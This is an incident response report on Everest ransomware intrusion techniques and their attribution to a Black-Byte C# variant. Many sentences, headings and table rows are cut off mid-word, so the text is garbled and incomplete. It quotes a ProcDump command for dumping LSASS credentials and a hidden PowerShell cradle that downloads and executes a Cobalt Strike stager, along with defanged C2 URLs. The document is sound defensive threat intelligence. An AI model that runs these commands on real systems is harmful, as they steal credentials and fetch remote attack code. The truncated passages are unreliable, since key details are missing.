Climbing Mount Everest: Black-Byte Bytes Back?

13 July 2022 By RIFT: Research and Intelligence Fusion Team

Research Threat Intelligence Digital Forensics and Incident Response (DFIR)

This research was conducted by **Michael Mullen** and **Nikolaos Pantazopoulos** from NCC Group Cyber Incident Response Team. You can find mor

Summary

tl;dr

In the Threat Pulse rele log documents the TTPs employed by a gro response engagement.

In summary, we identifi

- Lateral Movement thro
- Gathering of internal IP
- Local LSASS dumps
- NTDS.dit dumps
- Installation of Remote A

Everest Ranson

Earlier reports [1] have of Embrace, PainLocker, EvilLocker a est ransomware file, we assess with medium

Everest TTP

Lateral Movem

The threat actor was ob ocol (RDP) for lateral movement.

Credential Access

ProcDump was used to create a copy of the LSASS process in order to access additional credentials. The following command was observed being executed:

```
C:\Users\\Desktop\procdump64.exe -ma lsass.exe
```

`C:\Users\\Desktop\lsass.dmp`, for example `lsasscontoso.dmp`.

A copy of the NTDS database was also created with a file name of ntds.dit.zip.

Defence Evasion

Throughout the incident the threat actor routinely removed tooling, reconnaissance output files and data collection archives from hosts.

Discovery

Network discovery was observed upon the compromise of a new host. This activity was primarily conducted via the use of `netscan.exe`, `netscanpack.exe` and `SoftPerfectNetworkScannerPortable.exe`. These tools allow network scans to identify

further hosts of interest as well as building a target list for ransomware deployment.

The output of these tools were saved as text files in the `C:\Users\Public\Downloads` directory. Examples of these have been included below:

- C:\Users\Public\Downloads\subnets.txt
- C:\Users\Public\Downloads\trustdumps.txt

Collection

The threat actor installed the WinRAR application on a file server which was then used to archive data ready for exfiltration.

Command and Control

Cobalt Strike was the primary command and control mechanism used by the threat actor. This was executed on hosts using the following command:

```
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(/a'))
```

Additionally, a Metasploit payload was identified within the path `C:UsersPublicl.exe`.

The following Remote Access Tools were also deployed by the threat actor as a secondary command and control method, in addition to added persistence with the tools being installed as a service

- AnyDesk
- Splashtop Remote Desk
- Atera

Exfiltration

The threat actor utilised

Impact

Everest's action on obje ncryption, commonly referred to as double e

Indicators c

IOC (indicators of co		
netscan.exe		
netscanpack.exe		the investigation.
svcdsl.exe		
Winrar.exe		encryption.
subnets.txt		
trustdumps.txt		
l.exe	File name	Metasploit payload
hxxp://3.22.79[.]23:8080/	URL	Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:8080/a	URL	Site hosting Cobalt Strike beacon
hxxp://3.22.79[.]23:10443/ga.js	URL	Cobalt Strike C2
hxxp://18.193.71[.]144:10443/match	URL	Cobalt Strike C2
hxxp://45.84.0[.]164:10443/o6mJ	URL	Meterpreter C2

Attribution

The recovered ransomware binary is attributed to (based on the ransomware note) the 'Everest group'. However, after analysing it, we identified/attributed the sample to Black-Byte (C# variant instead of Go). It should be noted that the sample's compilation timestamp does match the incident's timeline.

Even though the sample's functionality remains the same, we noticed that it does not download the key from a server anymore. Instead, it is (randomly) generated on the compromised host. In addition, the ransomware's onion link is different.

Based on our findings, we cannot confirm if a different threat actor copied the source code of Black-Byte and started using it or if the Black-Byte have indeed started using again the C# ransomware variant.

MITRE ATT CK®

Tactic	Technique	ID	Description
Initial Access	External Remote Services	T1133	Initial Access was through an insecure external service
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	Threat actor utilised PowerShell to execute malicious commands
Execution	Command and Scripting Interpreter: Windows Command Shell	T1059.003	Threat actor utilised Windows Command Shell to execute malicious commands
Lateral Movement	Remote Services: Remote Desktop Protocol	T1021.001	Lateral movement was observed utilising RDP
Persistence	Create or Modify System	T1543.003	Threat actor installed remote desktop software
Credential Access			create a copy of the
Credential Access			
Defence Evasion			pooling and output
Discovery			network discovery NetworkScanner
Collection			g WinRAR
Command and Control			using HTTPS for C2
Command and Control			cess software –
Exfiltration			using the Splashtop
Impact			

References

- https://attack.mitre.org/
- https://newsroom.nccgroup.com/news/ncc-group-monthly-threat-pulse-november-2021-439934
- https://digitalrecovery.com/en-uae/recover-data-ransomware-everest/

NCC Group Incident Response services provide specialists to help guide and support you through incident handling, triage and analysis, all the way through to providing remediation guidance

RIFT: Research and Intelligence Fusion Team

RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IoCs and detection capabilities to strategic reports on tomorrow's threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.